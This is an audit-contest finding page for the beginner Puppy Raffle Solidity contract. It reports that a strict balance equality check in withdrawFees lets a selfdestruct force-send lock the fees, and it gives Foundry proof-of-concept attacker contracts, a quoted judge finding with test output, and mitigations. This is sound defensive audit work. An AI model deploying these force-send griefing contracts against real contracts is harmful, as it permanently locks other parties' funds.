Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Mishandling ETH in selectWinner can lock funds permanently (strict equality check)

quangviet910

Root + Impact

Description

  • The `withdrawFees()` function in `PuppyRaffle.sol` uses a strict equality check `require(address(this).balance == uint256(totalFees))` to verify no active players exist. However, if anyone sends ETH directly to the contract via `selfdestruct` or forces ETH through other means, `address(this).balance` will be greater than `totalFees`, causing the equality check to fail permanently.

  • Additionally, rounding errors in fee calculations or any ETH sent to the contract outside of normal entry flows will break this invariant forever, locking all fees.

function withdrawFees() external {
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); @> strict equality check
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood:

  • Anyone can send ETH to the contract at any time using selfdestruct or direct transfers.

  • Griefers can send 1 wei to permanently lock all fees with minimal cost. This attack vector is always available and requires only a single malicious transaction to execute.

Impact:

  • All accumulated protocol fees become permanently locked and unrecoverable.

  • The fee collector loses 100% of revenue with no way to withdraw.

Proof of Concept

SelfDestructAttacker will forcibly sends ETH to the raffle, causing the equality check to be false and fund is locked permanently.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract PuppyRaffleTest is Test {
// existing code...
function testForceSendEthLocksWithdrawal() public playersEntered {
vm.warp(block.timestamp + duration + 1);
puppyRaffle.selectWinner();
​
// Contract has fees ready to withdraw
uint256 expectedFees = (4 * entranceFee * 20) / 100;
assertEq(puppyRaffle.totalFees(), expectedFees);
​
// Attacker force-sends 1 wei using selfdestruct
SelfDestructAttacker attacker = new SelfDestructAttacker();
vm.deal(address(attacker), 1 wei);
attacker.attack(payable(address(puppyRaffle)));
​
// Now withdrawal fails forever
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
​
console.log("Fees locked:", puppyRaffle.totalFees());
}
​
}
​
contract SelfDestructAttacker {
function attack(address payable target) external payable {
selfdestruct(target);
}
}

Recommended Mitigation

Use inequality check instead of equality to avoid such vulnerability.

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(address(this).balance >= uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 24 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!